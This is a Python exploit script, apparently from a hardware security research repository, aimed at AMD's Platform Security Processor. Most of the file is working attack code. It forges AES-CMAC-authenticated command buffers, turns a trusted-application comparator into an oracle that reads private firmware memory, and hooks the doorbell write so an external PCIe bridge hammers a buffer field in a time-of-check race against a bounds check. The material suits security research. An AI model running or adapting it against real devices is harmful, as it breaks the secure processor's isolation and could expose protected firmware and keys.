aboutsummaryrefslogtreecommitdiffstats
path: root/bridge/race_experiment.py
blob: 1ef0fe09b1508c102ba5c8fd65ad0d4d8f2e4989 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
"""END-TO-END: read a dword of TA-private code via FE0A's comparator oracle.

params VA = 0x04024000 (pinned: fault addr 0x54024014 - 0x14 - 0x50000000).
Target VA T  ->  D = (T - params - 0x14) mod 2^32, placed at *(params+0x824).
Oracle: FE0A returns 0 (ACCEPT) iff counter < value_at_T, else 0x100 (REJECT).
Counter is set exactly by FE09's seed (counter = seed-1), seed = DATA[0:4], which is inside the
AES-CMAC'd region -- so each probe needs a freshly computed CMAC. Pure-Python AES-128 below
(the box has no crypto module). 32 probes binary-search the full 32-bit value.
"""
import struct, sys, glob, json
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am

# ---------- pure-python AES-128 + CMAC ----------
SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
def xt(a):
    a<<=1
    return (a^0x1b)&0xff if a&0x100 else a
def expand(k):
    w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1
    for i in range(4,44):
        t=list(w[i-1])
        if i%4==0:
            t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc)
        w.append([w[i-4][j]^t[j] for j in range(4)])
    return w
def enc(k,b):
    w=expand(k); s=[list(b[i::4]) for i in range(4)]
    s=[[b[r+4*c] for c in range(4)] for r in range(4)]
    def ark(rnd):
        for c in range(4):
            for r in range(4): s[r][c]^=w[rnd*4+c][r]
    ark(0)
    for rnd in range(1,11):
        for r in range(4):
            for c in range(4): s[r][c]=SB[s[r][c]]
        for r in range(1,4): s[r]=s[r][r:]+s[r][:r]
        if rnd!=10:
            for c in range(4):
                a=[s[r][c] for r in range(4)]
                s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3]
                s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3]
                s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3]
                s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3])
        ark(rnd)
    return bytes(s[r][c] for c in range(4) for r in range(4))
def dbl(b):
    n=int.from_bytes(b,'big')<<1
    if int.from_bytes(b,'big')>>127: n^=0x87
    return (n&((1<<128)-1)).to_bytes(16,'big')
def cmac(k,m):
    L=enc(k,bytes(16)); K1=dbl(L)
    assert len(m)%16==0 and m
    blocks=[m[i:i+16] for i in range(0,len(m),16)]
    blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1))
    x=bytes(16)
    for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk)))
    return x
# ---------- device ----------
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000
g=json.load(open('/root/psp/hw/fe08_good.json'))
CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff']
assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED'
print('pure-python AES-CMAC self-test: OK (matches the host-computed MAC)')
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
def load_asd(p):
    b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3
    adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000
    try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
    except Exception: return -1
app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN)
blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
def load():
    n=(len(blob)+3)&~3
    adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN
    try:
        r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
    except Exception: return -1,None
def build(cmd,arg10,blob256=None,seed=None,extra=None):
    buf=bytearray(bytes([PAT])*BUFLEN)
    struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10)
    struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ)
    if blob256: buf[0x14:0x14+len(blob256)]=blob256
    if seed is not None:
        d=seed.to_bytes(4,'little')+bytes(range(4,0x20))
        buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d
        struct.pack_into('<I',buf,0x414,0x10+len(d))
    for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v)
    return buf
def sub(sid,cmd,buf):
    adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd
    try: psp._ring_submit(c)
    except Exception: pass
    adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:])
    return struct.unpack_from('<I',out,8)[0], out

# ================= bridge TOCTOU race (appended; reuses taread chain above) =================
import ctypes
from tinygrad.helpers import wait_cond

ctrl = adev.doorbell64.usb
HCFG = 0x0009
MAGIC = bytes([0x48,0x4D,0x52,0x01])
ASD = '/root/psp/contall/asd_33-0-0-163_18debcc4.bin'

def hpack(target, A, B, iters, db_addr, db_val):
    return struct.pack('<QIQIIHBB', db_addr & 0xFFFFFFFFFFFFFFFF, db_val & 0xFFFFFFFF,
                       target & 0xFFFFFFFFFFFFFFFF, A & 0xFFFFFFFF, B & 0xFFFFFFFF,
                       iters & 0xFFFF, 0x60, 0x0F)
def harm(cfg):
    ctrl.write(HCFG, cfg)
    assert bytes(ctrl.read(HCFG, 32)) == cfg, "hammer_cfg readback mismatch"
def hfire():
    ctrl.usb.control_write(0xEB, data=MAGIC, timeout=8000)

# capture the wptr-doorbell PCIe address (suppress the actual write)
reg67 = adev.reg(f"{psp.reg_pref}_67")
_cap = {}
_orig = ctrl.pcie_mem_write
ctrl.pcie_mem_write = lambda address, data: _cap.setdefault('a', address)
reg67.write(0)
ctrl.pcie_mem_write = _orig
DB_ADDR = _cap['a']
print('doorbell wptr reg PCIe addr = %#x ; hammer target = cmc+0x818 = %#x' % (DB_ADDR, cmc + 0x818))

FRAME_SZ = ctypes.sizeof(am.struct_psp_gfx_rb_frame); STEP = FRAME_SZ // 4

def unload(s_):
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id = s_
    try: psp._ring_submit(c)
    except Exception: pass

def sub_bridge(sid, cmd, buf, A, B, iters):
    """Let the REAL _ring_submit stage everything; intercept its doorbell write
    (pcie_mem_write -> 0x1005820c) and redirect it to the bridge, which rings the
    wptr then hammers cmc+0x818 between A and B. Fault-free by construction."""
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd
    orig = ctrl.pcie_mem_write; fired = []
    def hook(address, data):
        orig(address, data)                      # NORMAL doorbell (host path, proven)
        if address == DB_ADDR:                   # right after it rings, fire the hammer
            harm(hpack(cmc + 0x818, A, B, iters, 0, 0))   # hammer only, no bridge doorbell
            hfire(); fired.append(1)
    ctrl.pcie_mem_write = hook
    try:
        psp._ring_submit(c)
    except Exception:
        ctrl.pcie_mem_write = orig; adev.gmc.flush_hdp(); return -1, b''
    ctrl.pcie_mem_write = orig
    adev.gmc.flush_hdp(); out = bytes(adev.vram.view(cp, BUFLEN)[:])
    return (struct.unpack_from('<I', out, 8)[0] if fired else -2), out

T = 0x00404828; D = (T - PARAMS - 0x14) & 0xFFFFFFFF   # read a nonzero TA dword => gate4 passes

def fresh_state3():
    """Fresh FE07/FE08/FE09(seed=1 => counter=0) => state 3, counter 0. Returns handle h."""
    global sid
    h = None
    for att in range(5):
        ta, out = sub(sid, 0xFE07, build(0xFE07, 0)); h = struct.unpack_from('<I', out, 0x1950)[0]
        if ta == 0: break
        unload(sid); _, ns = load()
        if ns is not None: sid = ns
    sub(sid, 0xFE08, build(0xFE08, h, blob256=CT))
    sub(sid, 0xFE09, build(0xFE09, h, seed=1,
        extra={0x820: 1, 0x828: (0x500 - 0x418) & 0xFFFFFFFF, 0x82C: SEED, 0x830: 0}))
    return h

def fe0a_buf(h, v818):
    b = build(0xFE0A, h, extra={0x820: 1, 0x824: D, 0x828: 0})
    struct.pack_into('<I', b, 0x818, v818)       # override the staged 0x818
    return b

print('LOAD_ASD(2):', hex(load_asd(ASD)))
st, sid = load(); print('load GCP: %#x sid=%s' % (st, sid))

SMALL, BIG = 0x2, 0x1000     # 0x2 => gate2 fails (256); 0x1000 => passes (0). both memcpy-safe.
print('\n=== positive controls (NORMAL submit, no hammer) ===')
h = fresh_state3(); print('  FE0A staged 0x818=0x1000 :', hex(sub(sid, 0xFE0A, fe0a_buf(h, BIG))[0]))
h = fresh_state3(); print('  FE0A staged 0x818=0x0002 :', hex(sub(sid, 0xFE0A, fe0a_buf(h, SMALL))[0]))

print('\n=== control: host doorbell + bridge hammer, NO flip (A==B) -- does flood break completion? ===')
h = fresh_state3(); print('  A=B=0x1000 iters=0x2000  :', hex(sub_bridge(sid, 0xFE0A, fe0a_buf(h, BIG), BIG, BIG, 0x2000)[0]))
h = fresh_state3(); print('  A=B=0x1000 iters=0x8000  :', hex(sub_bridge(sid, 0xFE0A, fe0a_buf(h, BIG), BIG, BIG, 0x8000)[0]))

def campaign(stage, A, B, n, label):
    from collections import Counter
    res = Counter()
    for i in range(n):
        h = fresh_state3()
        ta, _ = sub_bridge(sid, 0xFE0A, fe0a_buf(h, stage), A, B, 0x8000)
        res[ta] += 1
    print('  %-34s %s' % (label, dict(res)), flush=True)
    return res

print('\n=== HAMMER: stage 0x1000, flip toward 0x0002 (any 0x100 => race LIVE) ===')
r1 = campaign(BIG, BIG, SMALL, 12, 'stage=0x1000 A=0x1000 B=0x0002')
print('\n=== HAMMER: stage 0x0002, flip toward 0x1000 (any 0x0 => race LIVE) ===')
r2 = campaign(SMALL, SMALL, BIG, 12, 'stage=0x0002 A=0x0002 B=0x1000')

live = (0x100 in r1 and r1.get(0x100,0) < sum(r1.values())) or (0 in r2 and r2.get(0,0) < sum(r2.values()))
print('\n==== VERDICT:', 'TOCTOU OBSERVABLE (cmd buffer non-cached, race LIVE)' if live
      else 'no flip observed (cmd buffer likely cached, or window missed) -> race not demonstrated')
import os, sys as _s; _s.stdout.flush(); os._exit(0)